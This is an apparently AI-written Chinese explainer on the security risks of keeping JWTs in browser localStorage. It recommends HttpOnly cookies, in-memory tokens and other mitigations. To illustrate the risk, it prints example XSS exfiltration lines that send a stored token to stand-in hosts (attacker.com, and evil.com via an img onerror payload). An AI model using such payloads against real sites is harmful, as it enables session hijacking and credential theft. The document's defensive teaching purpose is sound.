将 JWT 存储在 LocalStorage 中存在显著的安全风险,这是前端开发中最常见的安全隐患之一。
核心风险:XSS 攻击(跨站脚本攻击)
攻击原理
```javascript
// 假设攻击者注入了以下恶意脚本
const token = localStorage.getItem('token'); // 轻松读取
fetch('https://attacker.com/steal?token=' + token); // 发送到攻击者服务器
```
一旦页面存在 XSS 漏洞,攻击者可以:
- 直接读取 `localStorage` 中的任何数据
- 窃取 JWT 令牌冒充用户身份
- 执行任意 API 请求(因为令牌自动附带)
对比:Cookie 存储(httpOnly)
特性 LocalStorage Cookie (httpOnly)
XSS 防护 ❌ 可被 JS 读取 ✅ 无法被 JS 读取
CSRF 风险 较低 需要额外防护
跨域限制 严格遵守同源策略 可通过配置灵活控制
自动发送 需手动添加到 Header 浏览器自动附带
具体风险场景
场景 1:第三方库污染
```javascript
// 你引入的某个 npm 包被攻击
import { someLibrary } from 'compromised-package';
// 该库内部偷偷执行
localStorage.getItem('token') && sendToHackerServer();
```
场景 2:富文本/XSS 漏洞
```html
<!-- 用户输入未过滤 -->
<div class="comment">
<img src=x onerror="fetch('https://evil.com?token='+localStorage.getItem('token'))">
</div>
```
场景 3:浏览器扩展窃取
```javascript
// 恶意浏览器扩展可以轻松访问 localStorage
chrome.storage.local.set({stolenToken: localStorage.getItem('token')});
```
推荐的安全方案
方案 1:HttpOnly Cookie(首选)
后端设置:
```go
// Go Gin 示例
import "github.com/gin-gonic/gin"
func setTokenCookie(c *gin.Context, token string) {
c.SetSameSite(http.SameSiteStrictMode) // 或 Lax
c.SetCookie(
"token", // name
token, // value
3600, // maxAge (秒)
"/", // path
"example.com", // domain
true, // secure (仅 HTTPS)
true, // httpOnly (禁止 JS 访问)
)
}
```
前端无需任何存储操作,浏览器自动管理 Cookie。
方案 2:内存存储(临时方案)
如果必须使用 LocalStorage,至少配合短期令牌 + 刷新令牌:
```javascript
// 仅保存在内存中,页面刷新即失效
let accessToken = null;
function login(credentials) {
return fetch('/api/login', {
method: 'POST',
body: JSON.stringify(credentials)
})
.then(res => res.json())
.then(data => {
accessToken = data.token; // 仅内存存储
return data;
});
}
function fetchWithAuth(url, options = {}) {
return fetch(url, {
...options,
headers: {
...options.headers,
'Authorization': `Bearer ${accessToken}` // 从内存读取
}
});
}
// 页面关闭即失效,配合 Refresh Token 机制
```
方案 3:Service Worker 代理(进阶)
```javascript
// service-worker.js
self.addEventListener('fetch', (event) => {
if (event.request.url.startsWith('/api/')) {
event.respondWith(
getTokenFromSecureStorage().then(token => {
const newRequest = new Request(event.request, {
headers: {
...event.request.headers,
'Authorization': `Bearer ${token}`
}
});
return fetch(newRequest);
})
);
}
});
```
如果必须用 LocalStorage 的缓解措施
```javascript
// 1. 加密存储(防直接读取)
import CryptoJS from 'crypto-js';
const encryptToken = (token) => {
return CryptoJS.AES.encrypt(token, process.env.REACT_APP_KEY).toString();
};
// 2. 短期令牌(15分钟)
const setShortLivedToken = (token) => {
const payload = JSON.parse(atob(token.split('.')[1]));
if (payload.exp - payload.iat > 900) { // 超过15分钟拒绝
throw new Error('Token 有效期过长');
}
localStorage.setItem('token', encryptToken(token));
};
// 3. 定期清理
setInterval(() => {
localStorage.removeItem('token');
window.location.href = '/login';
}, 15 * 60 * 1000); // 15分钟后强制登出
```
决策流程图
```
开始
│
├─ 能控制后端? ──Yes──→ 使用 HttpOnly Cookie ✅
│ No
│ ↓
├─ 能接受频繁重新登录? ──Yes──→ 内存存储 ✅
│ No
│ ↓
└─ 必须使用 LocalStorage ──→ 短期令牌 + 加密 + CSP 防护 ⚠️
```
总结
存储方式 安全性 适用场景
HttpOnly Cookie ⭐⭐⭐⭐⭐ 生产环境首选
内存(变量) ⭐⭐⭐⭐ 高安全要求、可接受频繁登录
LocalStorage ⭐⭐ 仅开发环境或配合多重防护
SessionStorage ⭐⭐⭐ 比 LocalStorage 稍好(标签页关闭清除)
关键原则: 如果存储位置能被 `document.write` 或 `innerHTML` 触发的脚本访问,它就不适合存放敏感凭证。
需要我展示一个完整的 Cookie + Refresh Token 双令牌架构实现吗?